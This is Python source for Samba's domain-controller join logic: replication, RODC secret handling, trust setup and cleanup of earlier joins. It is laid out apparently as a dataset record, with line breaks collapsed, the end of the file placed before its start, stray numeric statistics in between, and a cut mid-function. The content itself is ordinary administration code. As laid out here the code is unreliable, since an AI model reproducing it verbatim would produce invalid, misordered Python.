destination_dsa_guid = misc.GUID(drsuapi.DRSUAPI_DS_BIND_GUID_W2K3) else: destination_dsa_guid = ctx.ntds_guid if ctx.RODC: repl_creds = Credentials() repl_creds.guess(ctx.lp) repl_creds.set_kerberos_state(DONT_USE_KERBEROS) repl_creds.set_username(ctx.samname) repl_creds.set_password(ctx.acct_pass) else: repl_creds = ctx.creds binding_options = "seal" if int(ctx.lp.get("log level")) >= 5: binding_options += ",print" repl = drs_utils.drs_Replicate( "ncacn_ip_tcp:%s[%s]" % (ctx.server, binding_options), ctx.lp, repl_creds, ctx.local_samdb, ctx.invocation_id) repl.replicate(ctx.schema_dn, source_dsa_invocation_id, destination_dsa_guid, schema=True, rodc=ctx.RODC, replica_flags=ctx.replica_flags) repl.replicate(ctx.config_dn, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.replica_flags) if not ctx.subdomain: # Replicate first the critical object for the basedn if not ctx.domain_replica_flags & drsuapi.DRSUAPI_DRS_CRITICAL_ONLY: print "Replicating critical objects from the base DN of the domain" ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY | drsuapi.DRSUAPI_DRS_GET_ANC repl.replicate(ctx.base_dn, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.domain_replica_flags) ctx.domain_replica_flags ^= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY | drsuapi.DRSUAPI_DRS_GET_ANC else: ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_GET_ANC repl.replicate(ctx.base_dn, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.domain_replica_flags) print "Done with always replicated NC (base, config, schema)" for nc in (ctx.domaindns_zone, ctx.forestdns_zone): if nc in ctx.nc_list: print "Replicating %s" % (str(nc)) repl.replicate(nc, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.replica_flags) # FIXME At this point we should add an entry in the forestdns and domaindns NC # (those under CN=Partions,DC=...) # in order to indicate that we hold a replica for this NC if ctx.RODC: repl.replicate(ctx.acct_dn, source_dsa_invocation_id, destination_dsa_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_SECRET, rodc=True) repl.replicate(ctx.new_krbtgt_dn, source_dsa_invocation_id, destination_dsa_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_SECRET, rodc=True) ctx.repl = repl ctx.source_dsa_invocation_id = source_dsa_invocation_id ctx.destination_dsa_guid = destination_dsa_guid print "Committing SAM database" except: ctx.local_samdb.transaction_cancel() raise else: ctx.local_samdb.transaction_commit() def send_DsReplicaUpdateRefs(ctx, dn): r = drsuapi.DsReplicaUpdateRefsRequest1() r.naming_context = drsuapi.DsReplicaObjectIdentifier() r.naming_context.dn = str(dn) r.naming_context.guid = misc.GUID("00000000-0000-0000-0000-000000000000") r.naming_context.sid = security.dom_sid("S-0-0") r.dest_dsa_guid = ctx.ntds_guid r.dest_dsa_dns_name = "%s._msdcs.%s" % (str(ctx.ntds_guid), ctx.dnsforest) r.options = drsuapi.DRSUAPI_DRS_ADD_REF | drsuapi.DRSUAPI_DRS_DEL_REF if not ctx.RODC: r.options |= drsuapi.DRSUAPI_DRS_WRIT_REP if ctx.drsuapi: ctx.drsuapi.DsReplicaUpdateRefs(ctx.drsuapi_handle, 1, r) def join_finalise(ctx): """Finalise the join, mark us synchronised and setup secrets db.""" # FIXME we shouldn't do this in all cases # If for some reasons we joined in another site than the one of # DC we just replicated from then we don't need to send the updatereplicateref # as replication between sites is time based and on the initiative of the # requesting DC ctx.logger.info("Sending DsReplicaUpdateRefs for all the replicated partitions") for nc in ctx.nc_list: ctx.send_DsReplicaUpdateRefs(nc) if ctx.RODC: print "Setting RODC invocationId" ctx.local_samdb.set_invocation_id(str(ctx.invocation_id)) ctx.local_samdb.set_opaque_integer("domainFunctionality", ctx.behavior_version) m = ldb.Message() m.dn = ldb.Dn(ctx.local_samdb, "%s" % ctx.ntds_dn) m["invocationId"] = ldb.MessageElement(ndr_pack(ctx.invocation_id), ldb.FLAG_MOD_REPLACE, "invocationId") ctx.local_samdb.modify(m) # Note: as RODC the invocationId is only stored # on the RODC itself, the other DCs never see it. # # Thats is why we fix up the replPropertyMetaData stamp # for the 'invocationId' attribute, we need to change # the 'version' to '0', this is what windows 2008r2 does as RODC # # This means if the object on a RWDC ever gets a invocationId # attribute, it will have version '1' (or higher), which will # will overwrite the RODC local value. ctx.local_samdb.set_attribute_replmetadata_version(m.dn, "invocationId", 0) ctx.logger.info("Setting isSynchronized and dsServiceName") m = ldb.Message() m.dn = ldb.Dn(ctx.local_samdb, '@ROOTDSE') m["isSynchronized"] = ldb.MessageElement("TRUE", ldb.FLAG_MOD_REPLACE, "isSynchronized") m["dsServiceName"] = ldb.MessageElement("<GUID=%s>" % str(ctx.ntds_guid), ldb.FLAG_MOD_REPLACE, "dsServiceName") ctx.local_samdb.modify(m) if ctx.subdomain: return secrets_ldb = Ldb(ctx.paths.secrets, session_info=system_session(), lp=ctx.lp) ctx.logger.info("Setting up secrets database") secretsdb_self_join(secrets_ldb, domain=ctx.domain_name, realm=ctx.realm, dnsdomain=ctx.dnsdomain, netbiosname=ctx.myname, domainsid=ctx.domsid, machinepass=ctx.acct_pass, secure_channel_type=ctx.secure_channel_type, key_version_number=ctx.key_version_number) if ctx.dns_backend.startswith("BIND9_"): setup_bind9_dns(ctx.local_samdb, secrets_ldb, ctx.names, ctx.paths, ctx.lp, ctx.logger, dns_backend=ctx.dns_backend, dnspass=ctx.dnspass, os_level=ctx.behavior_version, targetdir=ctx.targetdir, key_version_number=ctx.dns_key_version_number) def join_setup_trusts(ctx): """provision the local SAM.""" print "Setup domain trusts with server %s" % ctx.server binding_options = "" # why doesn't signing work here? w2k8r2 claims no session key lsaconn = lsa.lsarpc("ncacn_np:%s[%s]" % (ctx.server, binding_options), ctx.lp, ctx.creds) objectAttr = lsa.ObjectAttribute() objectAttr.sec_qos = lsa.QosInfo() pol_handle = lsaconn.OpenPolicy2(''.decode('utf-8'), objectAttr, security.SEC_FLAG_MAXIMUM_ALLOWED) info = lsa.TrustDomainInfoInfoEx() info.domain_name.string = ctx.dnsdomain info.netbios_name.string = ctx.domain_name info.sid = ctx.domsid info.trust_direction = lsa.LSA_TRUST_DIRECTION_INBOUND | lsa.LSA_TRUST_DIRECTION_OUTBOUND info.trust_type = lsa.LSA_TRUST_TYPE_UPLEVEL info.trust_attributes = lsa.LSA_TRUST_ATTRIBUTE_WITHIN_FOREST try: oldname = lsa.String() oldname.string = ctx.dnsdomain oldinfo = lsaconn.QueryTrustedDomainInfoByName(pol_handle, oldname, lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO) print("Removing old trust record for %s (SID %s)" % (ctx.dnsdomain, oldinfo.info_ex.sid)) lsaconn.DeleteTrustedDomain(pol_handle, oldinfo.info_ex.sid) except RuntimeError: pass password_blob = string_to_byte_array(ctx.trustdom_pass.encode('utf-16-le')) clear_value = drsblobs.AuthInfoClear() clear_value.size = len(password_blob) clear_value.password = password_blob clear_authentication_information = drsblobs.AuthenticationInformation() clear_authentication_information.LastUpdateTime = samba.unix2nttime(int(time.time())) clear_authentication_information.AuthType = lsa.TRUST_AUTH_TYPE_CLEAR clear_authentication_information.AuthInfo = clear_value authentication_information_array = drsblobs.AuthenticationInformationArray() authentication_information_array.count = 1 authentication_information_array.array = [clear_authentication_information] outgoing = drsblobs.trustAuthInOutBlob() outgoing.count = 1 outgoing.current = authentication_information_array trustpass = drsblobs.trustDomainPasswords() confounder = [3] * 512 for i in range(512): confounder[i] = random.randint(0, 255) trustpass.confounder = confounder trustpass.outgoing = outgoing trustpass.incoming = outgoing trustpass_blob = ndr_pack(trustpass) encrypted_trustpass = arcfour_encrypt(lsaconn.session_key, trustpass_blob) auth_blob = lsa.DATA_BUF2() auth_blob.size = len(encrypted_trustpass) auth_blob.data = string_to_byte_array(encrypted_trustpass) auth_info = lsa.TrustDomainInfoAuthInfoInternal() auth_info.auth_blob = auth_blob trustdom_handle = lsaconn.CreateTrustedDomainEx2(pol_handle, info, auth_info, security.SEC_STD_DELETE) rec = { "dn" : "cn=%s,cn=system,%s" % (ctx.dnsforest, ctx.base_dn), "objectclass" : "trustedDomain", "trustType" : str(info.trust_type), "trustAttributes" : str(info.trust_attributes), "trustDirection" : str(info.trust_direction), "flatname" : ctx.forest_domain_name, "trustPartner" : ctx.dnsforest, "trustAuthIncoming" : ndr_pack(outgoing), "trustAuthOutgoing" : ndr_pack(outgoing), "securityIdentifier" : ndr_pack(ctx.forestsid) } ctx.local_samdb.add(rec) rec = { "dn" : "cn=%s$,cn=users,%s" % (ctx.forest_domain_name, ctx.base_dn), "objectclass" : "user", "userAccountControl" : str(samba.dsdb.UF_INTERDOMAIN_TRUST_ACCOUNT), "clearTextPassword" : ctx.trustdom_pass.encode('utf-16-le'), "samAccountName" : "%s$" % ctx.forest_domain_name } ctx.local_samdb.add(rec) def do_join(ctx): # nc_list is the list of naming context (NC) for which we will # replicate in and send a updateRef command to the partner DC # full_nc_list is the list of naming context (NC) we hold # read/write copies of. These are not subsets of each other. ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ] ctx.full_nc_list = [ ctx.base_dn, ctx.config_dn, ctx.schema_dn ] if ctx.subdomain and ctx.dns_backend != "NONE": ctx.full_nc_list += [ctx.domaindns_zone] elif not ctx.subdomain: ctx.nc_list += [ctx.base_dn] if ctx.dns_backend != "NONE": ctx.nc_list += [ctx.domaindns_zone] ctx.nc_list += [ctx.forestdns_zone] ctx.full_nc_list += [ctx.domaindns_zone] ctx.full_nc_list += [ctx.forestdns_zone] if ctx.promote_existing: ctx.promote_possible() else: ctx.cleanup_old_join() try: ctx.join_add_objects() ctx.join_provision() ctx.join_replicate() if ctx.subdomain: ctx.join_add_objects2() ctx.join_provision_own_domain() ctx.join_setup_trusts() ctx.join_finalise() except: print "Join failed - cleaning up" ctx.cleanup_old_join() raise def join_RODC(logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, domain=None, domain_critical_only=False, machinepass=None, use_ntvfs=False, dns_backend=None, promote_existing=False): """Join as a RODC.""" ctx = dc_join(logger, server, creds, lp, site, netbios_name, targetdir, domain, machinepass, use_ntvfs, dns_backend, promote_existing) lp.set("workgroup", ctx.domain_name) logger.info("workgroup is %s" % ctx.domain_name) lp.set("realm", ctx.realm) logger.info("realm is %s" % ctx.realm) ctx.krbtgt_dn = "CN=krbtgt_%s,CN=Users,%s" % (ctx.myname, ctx.base_dn) # setup some defaults for accounts that should be replicated to this RODC ctx.never_reveal_sid = [ "<SID=%s-%s>" % (ctx.domsid, security.DOMAIN_RID_RODC_DENY), "<SID=%s>" % security.SID_BUILTIN_ADMINISTRATORS, "<SID=%s>" % security.SID_BUILTIN_SERVER_OPERATORS, "<SID=%s>" % security.SID_BUILTIN_BACKUP_OPERATORS, "<SID=%s>" % security.SID_BUILTIN_ACCOUNT_OPERATORS] ctx.reveal_sid = "<SID=%s-%s>" % (ctx.domsid, security.DOMAIN_RID_RODC_ALLOW) mysid = ctx.get_mysid() admin_dn = "<SID=%s>" % mysid ctx.managedby = admin_dn ctx.userAccountControl = (samba.dsdb.UF_WORKSTATION_TRUST_ACCOUNT | samba.dsdb.UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | samba.dsdb.UF_PARTIAL_SECRETS_ACCOUNT) ctx.SPNs.extend([ "RestrictedKrbHost/%s" % ctx.myname, "RestrictedKrbHost/%s" % ctx.dnshostname ]) ctx.connection_dn = "CN=RODC Connection (FRS),%s" % ctx.ntds_dn ctx.secure_channel_type = misc.SEC_CHAN_RODC ctx.RODC = True ctx.replica_flags = (drsuapi.DRSUAPI_DRS_INIT_SYNC | drsuapi.DRSUAPI_DRS_PER_SYNC | drsuapi.DRSUAPI_DRS_GET_ANC | drsuapi.DRSUAPI_DRS_NEVER_SYNCED | drsuapi.DRSUAPI_DRS_SPECIAL_SECRET_PROCESSING | drsuapi.DRSUAPI_DRS_GET_ALL_GROUP_MEMBERSHIP) ctx.domain_replica_flags = ctx.replica_flags if domain_critical_only: ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY ctx.do_join() logger.info("Joined domain %s (SID %s) as an RODC" % (ctx.domain_name, ctx.domsid)) def join_DC(logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, domain=None, domain_critical_only=False, machinepass=None, use_ntvfs=False, dns_backend=None, promote_existing=False): """Join as a DC.""" ctx = dc_join(logger, server, creds, lp, site, netbios_name, targetdir, domain, machinepass, use_ntvfs, dns_backend, promote_existing) lp.set("workgroup", ctx.domain_name) logger.info("workgroup is %s" % ctx.domain_name) lp.set("realm", ctx.realm) logger.info("realm is %s" % ctx.realm) ctx.userAccountControl = samba.dsdb.UF_SERVER_TRUST_ACCOUNT | samba.dsdb.UF_TRUSTED_FOR_DELEGATION ctx.SPNs.append('E3514235-4B06-11D1-AB04-00C04FC2DCD2/$NTDSGUID/%s' % ctx.dnsdomain) ctx.secure_channel_type = misc.SEC_CHAN_BDC ctx.replica_flags = (drsuapi.DRSUAPI_DRS_WRIT_REP | drsuapi.DRSUAPI_DRS_INIT_SYNC | drsuapi.DRSUAPI_DRS_PER_SYNC | drsuapi.DRSUAPI_DRS_FULL_SYNC_IN_PROGRESS | drsuapi.DRSUAPI_DRS_NEVER_SYNCED) ctx.domain_replica_flags = ctx.replica_flags if domain_critical_only: ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY ctx.do_join() logger.info("Joined domain %s (SID %s) as a DC" % (ctx.domain_name, ctx.domsid)) def join_subdomain(logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, parent_domain=None, dnsdomain=None, netbios_domain=None, machinepass=None, adminpass=None, use_ntvfs=False, dns_backend=None): """Join as a DC.""" ctx = dc_join(logger, server, creds, lp, site, netbios_name, targetdir, parent_domain, machinepass, use_ntvfs, dns_backend) ctx.subdomain = True if adminpass is None: ctx.adminpass = samba.generate_random_password(12, 32) else: ctx.adminpass = adminpass ctx.parent_domain_name = ctx.domain_name ctx.domain_name = netbios_domain ctx.realm = dnsdomain ctx.parent_dnsdomain = ctx.dnsdomain ctx.parent_partition_dn = ctx.get_parent_partition_dn() ctx.dnsdomain = dnsdomain ctx.partition_dn = "CN=%s,CN=Partitions,%s" % (ctx.domain_name, ctx.config_dn) ctx.naming_master = ctx.get_naming_master() if ctx.naming_master != ctx.server: logger.info("Reconnecting to naming master %s" % ctx.naming_master) ctx.server = ctx.naming_master ctx.samdb = SamDB(url="ldap://%s" % ctx.server, session_info=system_session(), credentials=ctx.creds, lp=ctx.lp) res = ctx.samdb.search(base="", scope=ldb.SCOPE_BASE, attrs=['dnsHostName'], controls=[]) ctx.server = res[0]["dnsHostName"] logger.info("DNS name of new naming master is %s" % ctx.server) ctx.base_dn = samba.dn_from_dns_name(dnsdomain) ctx.forestsid = ctx.domsid ctx.domsid = security.random_sid() ctx.acct_dn = None ctx.dnshostname = "%s.%s" % (ctx.myname.lower(), ctx.dnsdomain) ctx.trustdom_pass = samba.generate_random_password(128, 128) ctx.userAccountControl = samba.dsdb.UF_SERVER_TRUST_ACCOUNT | samba.dsdb.UF_TRUSTED_FOR_DELEGATION ctx.SPNs.append('E3514235-4B06-11D1-AB04-00C04FC2DCD2/$NTDSGUID/%s' % ctx.dnsdomain) ctx.secure_channel_type = misc.SEC_CHAN_BDC ctx.replica_flags = (drsuapi.DRSUAPI_DRS_WRIT_REP | drsuapi.DRSUAPI_DRS_INIT_SYNC | drsuapi.DRSUAPI_DRS_PER_SYNC | drsuapi.DRSUAPI_DRS_FULL_SYNC_IN_PROGRESS | drsuapi.DRSUAPI_DRS_NEVER_SYNCED) ctx.domain_replica_flags = ctx.replica_flags ctx.do_join() ctx.logger.info("Created domain %s (SID %s) as a DC" % (ctx.domain_name, ctx.domsid))
45.014694
244
0.588615
"""Joining a domain.""" from samba.auth import system_session from samba.samdb import SamDB from samba import gensec, Ldb, drs_utils, arcfour_encrypt, string_to_byte_array import ldb, samba, sys, uuid from samba.ndr import ndr_pack from samba.dcerpc import security, drsuapi, misc, nbt, lsa, drsblobs from samba.dsdb import DS_DOMAIN_FUNCTION_2003 from samba.credentials import Credentials, DONT_USE_KERBEROS from samba.provision import secretsdb_self_join, provision, provision_fill, FILL_DRS, FILL_SUBDOMAIN from samba.provision.common import setup_path from samba.schema import Schema from samba import descriptor from samba.net import Net from samba.provision.sambadns import setup_bind9_dns from samba import read_and_sub_file from base64 import b64encode import logging import talloc import random import time talloc.enable_null_tracking() class DCJoinException(Exception): def __init__(self, msg): super(DCJoinException, self).__init__("Can't join, error: %s" % msg) class dc_join(object): """Perform a DC join.""" def __init__(ctx, logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, domain=None, machinepass=None, use_ntvfs=False, dns_backend=None, promote_existing=False): ctx.logger = logger ctx.creds = creds ctx.lp = lp ctx.site = site ctx.netbios_name = netbios_name ctx.targetdir = targetdir ctx.use_ntvfs = use_ntvfs ctx.promote_existing = promote_existing ctx.promote_from_dn = None ctx.nc_list = [] ctx.full_nc_list = [] ctx.creds.set_gensec_features(creds.get_gensec_features() | gensec.FEATURE_SEAL) ctx.net = Net(creds=ctx.creds, lp=ctx.lp) if server is not None: ctx.server = server else: ctx.logger.info("Finding a writeable DC for domain '%s'" % domain) ctx.server = ctx.find_dc(domain) ctx.logger.info("Found DC %s" % ctx.server) ctx.samdb = SamDB(url="ldap://%s" % ctx.server, session_info=system_session(), credentials=ctx.creds, lp=ctx.lp) try: ctx.samdb.search(scope=ldb.SCOPE_ONELEVEL, attrs=["dn"]) except ldb.LdbError, (enum, estr): raise DCJoinException(estr) ctx.myname = netbios_name ctx.samname = "%s$" % ctx.myname ctx.base_dn = str(ctx.samdb.get_default_basedn()) ctx.root_dn = str(ctx.samdb.get_root_basedn()) ctx.schema_dn = str(ctx.samdb.get_schema_basedn()) ctx.config_dn = str(ctx.samdb.get_config_basedn()) ctx.domsid = security.dom_sid(ctx.samdb.get_domain_sid()) ctx.forestsid = ctx.domsid ctx.domain_name = ctx.get_domain_name() ctx.forest_domain_name = ctx.get_forest_domain_name() ctx.invocation_id = misc.GUID(str(uuid.uuid4())) ctx.dc_ntds_dn = ctx.samdb.get_dsServiceName() ctx.dc_dnsHostName = ctx.get_dnsHostName() ctx.behavior_version = ctx.get_behavior_version() if machinepass is not None: ctx.acct_pass = machinepass else: ctx.acct_pass = samba.generate_random_password(32, 40) # work out the DNs of all the objects we will be adding ctx.server_dn = "CN=%s,CN=Servers,CN=%s,CN=Sites,%s" % (ctx.myname, ctx.site, ctx.config_dn) ctx.ntds_dn = "CN=NTDS Settings,%s" % ctx.server_dn topology_base = "CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,%s" % ctx.base_dn if ctx.dn_exists(topology_base): ctx.topology_dn = "CN=%s,%s" % (ctx.myname, topology_base) else: ctx.topology_dn = None ctx.dnsdomain = ctx.samdb.domain_dns_name() ctx.dnsforest = ctx.samdb.forest_dns_name() ctx.domaindns_zone = 'DC=DomainDnsZones,%s' % ctx.base_dn ctx.forestdns_zone = 'DC=ForestDnsZones,%s' % ctx.root_dn res_domaindns = ctx.samdb.search(scope=ldb.SCOPE_ONELEVEL, attrs=[], base=ctx.samdb.get_partitions_dn(), expression="(&(objectClass=crossRef)(ncName=%s))" % ctx.domaindns_zone) if dns_backend is None: ctx.dns_backend = "NONE" else: if len(res_domaindns) == 0: ctx.dns_backend = "NONE" print "NO DNS zone information found in source domain, not replicating DNS" else: ctx.dns_backend = dns_backend ctx.dnshostname = "%s.%s" % (ctx.myname.lower(), ctx.dnsdomain) ctx.realm = ctx.dnsdomain ctx.acct_dn = "CN=%s,OU=Domain Controllers,%s" % (ctx.myname, ctx.base_dn) ctx.tmp_samdb = None ctx.SPNs = [ "HOST/%s" % ctx.myname, "HOST/%s" % ctx.dnshostname, "GC/%s/%s" % (ctx.dnshostname, ctx.dnsforest) ] # these elements are optional ctx.never_reveal_sid = None ctx.reveal_sid = None ctx.connection_dn = None ctx.RODC = False ctx.krbtgt_dn = None ctx.drsuapi = None ctx.managedby = None ctx.subdomain = False ctx.adminpass = None def del_noerror(ctx, dn, recursive=False): if recursive: try: res = ctx.samdb.search(base=dn, scope=ldb.SCOPE_ONELEVEL, attrs=["dn"]) except Exception: return for r in res: ctx.del_noerror(r.dn, recursive=True) try: ctx.samdb.delete(dn) print "Deleted %s" % dn except Exception: pass def cleanup_old_join(ctx): """Remove any DNs from a previous join.""" try: # find the krbtgt link print("checking sAMAccountName") if ctx.subdomain: res = None else: res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='sAMAccountName=%s' % ldb.binary_encode(ctx.samname), attrs=["msDS-krbTgtLink"]) if res: ctx.del_noerror(res[0].dn, recursive=True) res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='(&(sAMAccountName=%s)(servicePrincipalName=%s))' % (ldb.binary_encode("dns-%s" % ctx.myname), ldb.binary_encode("dns/%s" % ctx.dnshostname)), attrs=[]) if res: ctx.del_noerror(res[0].dn, recursive=True) res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='(sAMAccountName=%s)' % ldb.binary_encode("dns-%s" % ctx.myname), attrs=[]) if res: raise RuntimeError("Not removing account %s which looks like a Samba DNS service account but does not have servicePrincipalName=%s" % (ldb.binary_encode("dns-%s" % ctx.myname), ldb.binary_encode("dns/%s" % ctx.dnshostname))) if ctx.connection_dn is not None: ctx.del_noerror(ctx.connection_dn) if ctx.krbtgt_dn is not None: ctx.del_noerror(ctx.krbtgt_dn) ctx.del_noerror(ctx.ntds_dn) ctx.del_noerror(ctx.server_dn, recursive=True) if ctx.topology_dn: ctx.del_noerror(ctx.topology_dn) if ctx.partition_dn: ctx.del_noerror(ctx.partition_dn) if res: ctx.new_krbtgt_dn = res[0]["msDS-Krbtgtlink"][0] ctx.del_noerror(ctx.new_krbtgt_dn) if ctx.subdomain: binding_options = "sign" lsaconn = lsa.lsarpc("ncacn_ip_tcp:%s[%s]" % (ctx.server, binding_options), ctx.lp, ctx.creds) objectAttr = lsa.ObjectAttribute() objectAttr.sec_qos = lsa.QosInfo() pol_handle = lsaconn.OpenPolicy2(''.decode('utf-8'), objectAttr, security.SEC_FLAG_MAXIMUM_ALLOWED) name = lsa.String() name.string = ctx.realm info = lsaconn.QueryTrustedDomainInfoByName(pol_handle, name, lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO) lsaconn.DeleteTrustedDomain(pol_handle, info.info_ex.sid) name = lsa.String() name.string = ctx.forest_domain_name info = lsaconn.QueryTrustedDomainInfoByName(pol_handle, name, lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO) lsaconn.DeleteTrustedDomain(pol_handle, info.info_ex.sid) except Exception: pass def promote_possible(ctx): """confirm that the account is just a bare NT4 BDC or a member server, so can be safely promoted""" if ctx.subdomain: # This shouldn't happen raise Exception("Can not promote into a subdomain") res = ctx.samdb.search(base=ctx.samdb.get_default_basedn(), expression='sAMAccountName=%s' % ldb.binary_encode(ctx.samname), attrs=["msDS-krbTgtLink", "userAccountControl", "serverReferenceBL", "rIDSetReferences"]) if len(res) == 0: raise Exception("Could not find domain member account '%s' to promote to a DC, use 'samba-tool domain join' instead'" % ctx.samname) if "msDS-krbTgtLink" in res[0] or "serverReferenceBL" in res[0] or "rIDSetReferences" in res[0]: raise Exception("Account '%s' appears to be an active DC, use 'samba-tool domain join' if you must re-create this account" % ctx.samname) if (int(res[0]["userAccountControl"][0]) & (samba.dsdb.UF_WORKSTATION_TRUST_ACCOUNT|samba.dsdb.UF_SERVER_TRUST_ACCOUNT) == 0): raise Exception("Account %s is not a domain member or a bare NT4 BDC, use 'samba-tool domain join' instead'" % ctx.samname) ctx.promote_from_dn = res[0].dn def find_dc(ctx, domain): """find a writeable DC for the given domain""" try: ctx.cldap_ret = ctx.net.finddc(domain=domain, flags=nbt.NBT_SERVER_LDAP | nbt.NBT_SERVER_DS | nbt.NBT_SERVER_WRITABLE) except Exception: raise Exception("Failed to find a writeable DC for domain '%s'" % domain) if ctx.cldap_ret.client_site is not None and ctx.cldap_ret.client_site != "": ctx.site = ctx.cldap_ret.client_site return ctx.cldap_ret.pdc_dns_name def get_behavior_version(ctx): res = ctx.samdb.search(base=ctx.base_dn, scope=ldb.SCOPE_BASE, attrs=["msDS-Behavior-Version"]) if "msDS-Behavior-Version" in res[0]: return int(res[0]["msDS-Behavior-Version"][0]) else: return samba.dsdb.DS_DOMAIN_FUNCTION_2000 def get_dnsHostName(ctx): res = ctx.samdb.search(base="", scope=ldb.SCOPE_BASE, attrs=["dnsHostName"]) return res[0]["dnsHostName"][0] def get_domain_name(ctx): '''get netbios name of the domain from the partitions record''' partitions_dn = ctx.samdb.get_partitions_dn() res = ctx.samdb.search(base=partitions_dn, scope=ldb.SCOPE_ONELEVEL, attrs=["nETBIOSName"], expression='ncName=%s' % ctx.samdb.get_default_basedn()) return res[0]["nETBIOSName"][0] def get_forest_domain_name(ctx): '''get netbios name of the domain from the partitions record''' partitions_dn = ctx.samdb.get_partitions_dn() res = ctx.samdb.search(base=partitions_dn, scope=ldb.SCOPE_ONELEVEL, attrs=["nETBIOSName"], expression='ncName=%s' % ctx.samdb.get_root_basedn()) return res[0]["nETBIOSName"][0] def get_parent_partition_dn(ctx): '''get the parent domain partition DN from parent DNS name''' res = ctx.samdb.search(base=ctx.config_dn, attrs=[], expression='(&(objectclass=crossRef)(dnsRoot=%s)(systemFlags:%s:=%u))' % (ctx.parent_dnsdomain, ldb.OID_COMPARATOR_AND, samba.dsdb.SYSTEM_FLAG_CR_NTDS_DOMAIN)) return str(res[0].dn) def get_naming_master(ctx): '''get the parent domain partition DN from parent DNS name''' res = ctx.samdb.search(base='CN=Partitions,%s' % ctx.config_dn, attrs=['fSMORoleOwner'], scope=ldb.SCOPE_BASE, controls=["extended_dn:1:1"]) if not 'fSMORoleOwner' in res[0]: raise DCJoinException("Can't find naming master on partition DN %s in %s" % (ctx.partition_dn, ctx.samdb.url)) try: master_guid = str(misc.GUID(ldb.Dn(ctx.samdb, res[0]['fSMORoleOwner'][0]).get_extended_component('GUID'))) except KeyError: raise DCJoinException("Can't find GUID in naming master on partition DN %s" % res[0]['fSMORoleOwner'][0]) master_host = '%s._msdcs.%s' % (master_guid, ctx.dnsforest) return master_host def get_mysid(ctx): '''get the SID of the connected user. Only works with w2k8 and later, so only used for RODC join''' res = ctx.samdb.search(base="", scope=ldb.SCOPE_BASE, attrs=["tokenGroups"]) binsid = res[0]["tokenGroups"][0] return ctx.samdb.schema_format_value("objectSID", binsid) def dn_exists(ctx, dn): '''check if a DN exists''' try: res = ctx.samdb.search(base=dn, scope=ldb.SCOPE_BASE, attrs=[]) except ldb.LdbError, (enum, estr): if enum == ldb.ERR_NO_SUCH_OBJECT: return False raise return True def add_krbtgt_account(ctx): '''RODCs need a special krbtgt account''' print "Adding %s" % ctx.krbtgt_dn rec = { "dn" : ctx.krbtgt_dn, "objectclass" : "user", "useraccountcontrol" : str(samba.dsdb.UF_NORMAL_ACCOUNT | samba.dsdb.UF_ACCOUNTDISABLE), "showinadvancedviewonly" : "TRUE", "description" : "krbtgt for %s" % ctx.samname} ctx.samdb.add(rec, ["rodc_join:1:1"]) res = ctx.samdb.search(base=ctx.krbtgt_dn, scope=ldb.SCOPE_BASE, attrs=["samAccountName"]) ctx.krbtgt_name = res[0]["samAccountName"][0] print "Got krbtgt_name=%s" % ctx.krbtgt_name m = ldb.Message() m.dn = ldb.Dn(ctx.samdb, ctx.acct_dn) m["msDS-krbTgtLink"] = ldb.MessageElement(ctx.krbtgt_dn, ldb.FLAG_MOD_REPLACE, "msDS-krbTgtLink") ctx.samdb.modify(m) ctx.new_krbtgt_dn = "CN=%s,CN=Users,%s" % (ctx.krbtgt_name, ctx.base_dn) print "Renaming %s to %s" % (ctx.krbtgt_dn, ctx.new_krbtgt_dn) ctx.samdb.rename(ctx.krbtgt_dn, ctx.new_krbtgt_dn) def drsuapi_connect(ctx): '''make a DRSUAPI connection to the naming master''' binding_options = "seal" if int(ctx.lp.get("log level")) >= 4: binding_options += ",print" binding_string = "ncacn_ip_tcp:%s[%s]" % (ctx.server, binding_options) ctx.drsuapi = drsuapi.drsuapi(binding_string, ctx.lp, ctx.creds) (ctx.drsuapi_handle, ctx.bind_supported_extensions) = drs_utils.drs_DsBind(ctx.drsuapi) def create_tmp_samdb(ctx): '''create a temporary samdb object for schema queries''' ctx.tmp_schema = Schema(ctx.domsid, schemadn=ctx.schema_dn) ctx.tmp_samdb = SamDB(session_info=system_session(), url=None, auto_connect=False, credentials=ctx.creds, lp=ctx.lp, global_schema=False, am_rodc=False) ctx.tmp_samdb.set_schema(ctx.tmp_schema) def build_DsReplicaAttribute(ctx, attrname, attrvalue): '''build a DsReplicaAttributeCtr object''' r = drsuapi.DsReplicaAttribute() r.attid = ctx.tmp_samdb.get_attid_from_lDAPDisplayName(attrname) r.value_ctr = 1 def DsAddEntry(ctx, recs): '''add a record via the DRSUAPI DsAddEntry call''' if ctx.drsuapi is None: ctx.drsuapi_connect() if ctx.tmp_samdb is None: ctx.create_tmp_samdb() objects = [] for rec in recs: id = drsuapi.DsReplicaObjectIdentifier() id.dn = rec['dn'] attrs = [] for a in rec: if a == 'dn': continue if not isinstance(rec[a], list): v = [rec[a]] else: v = rec[a] rattr = ctx.tmp_samdb.dsdb_DsReplicaAttribute(ctx.tmp_samdb, a, v) attrs.append(rattr) attribute_ctr = 